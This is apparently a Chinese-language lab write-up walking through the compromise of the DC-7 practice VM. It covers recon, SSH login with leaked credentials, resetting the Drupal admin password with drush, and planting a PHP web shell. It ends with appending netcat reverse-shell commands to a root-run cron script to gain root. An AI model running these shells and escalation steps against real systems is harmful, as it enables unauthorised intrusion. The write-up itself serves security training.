z这次的目标是dc-7靶机我们拿到目标的时候信息收集是一个必然的过程,端口,目录,网站架构这是我们要知道的

这里我们可以得到我这台内网里面的dc-7的IP地址

我们继续进行信息收集利用nmap收集信息

这里我们可以拿到这个靶机的开放端口信息80 和22.网站是drupal8等一类的信息

这个时候我们继续扫描目录,之后再访问网站看看有什么样的收获

这里我们看到一个@DC7USER,这个是和其他新的drupal的网站不同的地方,我们尝试百度一下

这端英文的的说让我们要跳出框架,

百度@DC7USER的结果发现

找到了一个账号密码我们尝试登录失败后,我们之前是知道22端口是开的我们尝试直接登录一下22端口

成功登录了

接下来我们继续靶机内部的信息收集,这个时候我们想拿到更多的信息我们可以先试着提权,但是在这里直接切root和suid都失败了,这里看网上的教程是要去backups.sh文件里面找到信息,发现在mbox中记录着root的定时任务,项目位置为/opt/scripts/backups.sh,我们切过去看到

这里的drush命令是简易管理drupal的命令,这个命令是可以将网站的账号的密码修改,我们

修改admin的密码为123456

1
drush upwd admin --password="123456"

我们以admin 123456登录网站,在后台看到content里面可以添加页面,想到是否可以添加一个php木马,但是在drupal8是没有php模块的那我们就在网站上面添加php模块

在manage中的extend里面点击install new module

1
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

将url添加点击install

然后到content中进行添加我们的木马,

点击save就可以将我们的木马保存监听本地端口

1
nc  -lvp 5555

我们这个时候的权限是www-data这个时候我们应该要去给我们提权,我们在上面知道有一个root的定时任务bakeups.sh挂着,所以我们要是在bakeups文件里面加入一条反弹语句的话我们就可以得到root权限的shell,那我们去查看一下写入的权限,我们看到这里我们是有写入的权限的。我们现jiangshell转换成交互式shell

1
python -c 'import pty; pty.spawn("/bin/bash")'

那么我们写入一条回连语句进去

1
2
3
4
5
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.29.129 1234 >/tmp/f" >> backups.sh



echo "nc -e /bin/bash/ 192.168.202.129 1234" >>backups.sh

我们在写回弹命令的时候我们用>>而不是>的原因是>是覆盖原来的内容而>>是添加内容

这里我们看到我们的语句已经写到了这个定时文件中,那么我们现在要监听本地的端口,执行bakeups.sh文件

这个时候我们就是root